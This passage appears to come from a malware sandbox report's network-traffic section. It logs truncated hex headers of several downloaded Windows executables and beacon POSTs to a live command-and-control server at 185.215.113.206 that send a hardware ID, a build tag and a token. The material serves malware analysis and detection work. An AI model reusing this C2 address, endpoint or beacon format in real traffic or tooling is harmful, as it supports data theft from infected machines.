00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 23:19:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 23:19:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 23:19:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 23:19:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Nov 2024 23:19:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 23:19:32 GMTContent-Type: application/octet-streamContent-Length: 1924096Last-Modified: Tue, 19 Nov 2024 23:08:37 GMTConnection: keep-aliveETag: "673d1a75-1d5c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 30 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4c 00 00 04 00 00 fa b3 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 1b 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 1b 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6a 70 69 6a 64 6b 64 00 40 1a 00 00 e0 31 00 00 40 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 71 71 66 77 79 74 6c 00 10 00 00 00 20 4c 00 00 04 00 00 00 36 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4c 00 00 22 00 00 00 3a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 30 43 44 36 46 31 33 41 30 41 31 36 33 33 30 34 37 39 38 36 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 46 42 4b 4b 4a 44 48 4a 4b 45 43 42 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="hwid"EA0CD6F13A0A1633047986------HJDBFBKKJDHJKECBGDAKContent-Disposition: form-data; name="build"mars------HJDBFBKKJDHJKECBGDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 